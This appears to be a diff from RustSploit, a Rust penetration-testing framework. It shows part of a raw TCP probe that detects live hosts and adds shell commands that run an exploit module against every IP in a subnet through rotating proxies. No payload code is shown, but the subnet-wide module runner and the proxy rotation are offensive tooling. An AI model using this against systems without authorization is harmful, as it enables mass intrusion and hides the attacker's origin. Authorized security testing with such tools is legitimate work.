match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
match recv_result {
Ok(Some((data, _))) => {
if data.len() < IPV4_HEADER_LEN {
tokio::time::sleep(Duration::from_millis(10)).await;
continue;
}
// Parse IP header
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
// Parse TCP header
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
if data.len() >= tcp_offset + 20 {
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
let flags = tcp_recv.get_flags();
// RST means port is unfiltered (host is up)
if flags & TcpFlags::RST == TcpFlags::RST {
return Ok(true);
}
}
}
}
}
}
}
Ok(None) => {
// Timeout or would block - continue waiting
tokio::time::sleep(Duration::from_millis(10)).await;
}
Err(_) => {
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
}
Ok(false)
}
fn get_local_ipv4() -> Option<Ipv4Addr> {
// Try to get a local IPv4 address for the source IP
// This is a simple implementation - in production you might want more sophisticated logic
use std::net::UdpSocket;
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
if socket.connect("8.8.8.8:80").is_ok() {
if let Ok(local_addr) = socket.local_addr() {
if let IpAddr::V4(ipv4) = local_addr.ip() {
return Some(ipv4);
}
}
}
}
None
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
+184 -5
View File
@@ -1,5 +1,6 @@
use crate::commands;
use crate::utils;
use crate::config;
use anyhow::Result;
use colored::*;
use rand::prelude::*;
@@ -34,6 +35,20 @@ impl ShellContext {
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
// Show global target if set
if config::GLOBAL_CONFIG.has_target() {
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
if size > 1 {
println!("{}", format!("[*] Global target set: {} ({} IPs)", target_str, size).cyan());
} else {
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
}
} else {
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
}
}
let mut ctx = ShellContext::new();
@@ -96,6 +111,32 @@ pub async fn interactive_shell() -> Result<()> {
ctx.current_target = None;
println!("{}", "Cleared current module and target.".green());
}
"show_target" | "target" => {
if let Some(ref t) = ctx.current_target {
println!("{}", format!("Local target: {}", t).cyan());
} else {
println!("{}", "No local target set.".dimmed());
}
if config::GLOBAL_CONFIG.has_target() {
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
if size > 1 {
println!("{}", format!("Global target (subnet): {} ({} IPs)", target_str, size).green());
} else {
println!("{}", format!("Global target: {}", target_str).green());
}
} else {
println!("{}", format!("Global target: {}", target_str).green());
}
} else {
println!("{}", "No global target set.".dimmed());
}
}
"clear_target" => {
ctx.current_target = None;
config::GLOBAL_CONFIG.clear_target();
println!("{}", "Cleared local and global targets.".green());
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
@@ -252,11 +293,36 @@ pub async fn interactive_shell() -> Result<()> {
}
}
"set" => {
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
// Handle "set target <value>" - require "target " prefix with space
if rest.starts_with("target ") {
let raw_value = rest.strip_prefix("target ").unwrap().trim();
if raw_value.is_empty() {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
println!("{}", " set target example.com".dimmed());
continue;
}
match sanitize_target(raw_value) {
Ok(valid_target) => {
// Set both local context and global config
ctx.current_target = Some(valid_target.clone());
println!("{}", format!("Target set to {}", valid_target).green());
match config::GLOBAL_CONFIG.set_target(&valid_target) {
Ok(_) => {
if config::GLOBAL_CONFIG.is_subnet() {
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
} else {
println!("{}", format!("Global target set to: {}", valid_target).green());
}
println!("{}", format!("Local target set to: {}", valid_target).green());
}
Err(e) => {
println!("{}", format!("[!] Failed to set global target: {}", e).red());
// Still set local target
println!("{}", format!("Local target set to: {}", valid_target).green());
}
}
}
Err(reason) => {
println!("{}", format!("[!] {}", reason).yellow());
@@ -264,11 +330,34 @@ pub async fn interactive_shell() -> Result<()> {
}
} else {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
println!("{}", " set target example.com".dimmed());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// Try to get target from local context, then global config
let target = if let Some(ref t) = ctx.current_target {
Some(t.clone())
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("{}", format!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
Some(ip)
}
Err(e) => {
println!("{}", format!("[!] Error getting global target: {}", e).red());
None
}
}
} else {
None
};
if let Some(ref t) = target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
@@ -313,6 +402,90 @@ pub async fn interactive_shell() -> Result<()> {
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
"run_all" => {
if let Some(ref module_path) = ctx.current_module {
// Check if we have a subnet target
if !config::GLOBAL_CONFIG.has_target() {
println!("{}", "No global target set. Use 'set target <ip/subnet>' first.".yellow());
continue;
}
if !config::GLOBAL_CONFIG.is_subnet() {
println!("{}", "Global target is not a subnet. Use 'run' for single targets.".yellow());
continue;
}
// Get all IPs from the subnet
match config::GLOBAL_CONFIG.get_target_ips() {
Ok(ips) => {
let total = ips.len();
println!("{}", format!("[*] Running module '{}' against all {} IPs in subnet", module_path, total).cyan().bold());
println!("{}", format!("[*] Subnet: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
let mut success_count = 0;
let mut fail_count = 0;
for (idx, ip) in ips.iter().enumerate() {
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
match commands::run_module(module_path, ip).await {
Ok(_) => {
success = true;
success_count += 1;
break;
}
Err(e) => {
if tried_proxies.is_empty() {
eprintln!("[!] Module failed: {:?}", e);
}
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
fail_count += 1;
if ctx.proxy_list.len() == tried_proxies.len() {
println!("{}", "[!] All proxies failed for this target".red());
}
}
} else {
clear_proxy_env_vars();
match commands::run_module(module_path, ip).await {
Ok(_) => success_count += 1,
Err(e) => {
eprintln!("[!] Module failed: {:?}", e);
fail_count += 1;
}
}
}
}
println!("\n{}", "=== Run All Summary ===".cyan().bold());
println!("{}", format!("Total IPs: {}", total).green());
println!("{}", format!("Successful: {}", success_count).green());
println!("{}", format!("Failed: {}", fail_count).red());
}
Err(e) => {
println!("{}", format!("[!] Error getting target IPs: {}", e).red());
println!("{}", "Note: Subnets larger than 65536 IPs are not supported for run_all. Use a smaller subnet.".yellow());
}
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
@@ -382,7 +555,10 @@ fn resolve_command(cmd: &str) -> String {
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"show_target" | "showtarget" | "st" => "show_target",
"clear_target" | "cleartarget" | "ct" => "clear_target",
"run" | "go" | "exec" => "run",
"run_all" | "runall" | "ra" => "run_all",
"back" | "b" | "clear" | "reset" => "back",
"exit" | "quit" | "q" => "exit",
other => other,
@@ -445,8 +621,11 @@ fn render_help() {
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
("show_target", "show_target | target", "Show current local and global targets"),
("clear_target", "clear_target", "Clear local and global targets"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
("back", "back | b | clear | reset", "Clear current module and target"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
+2 -2
View File
@@ -113,8 +113,8 @@ pub fn normalize_target(raw: &str) -> Result<String> {
return Err(anyhow!("Invalid target format: contains spaces"));
}
// Check for valid hostname/IPv4 characters
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
// Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
if !host_re.is_match(&sanitized) {
return Err(anyhow!("Invalid target format: contains invalid characters"));
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB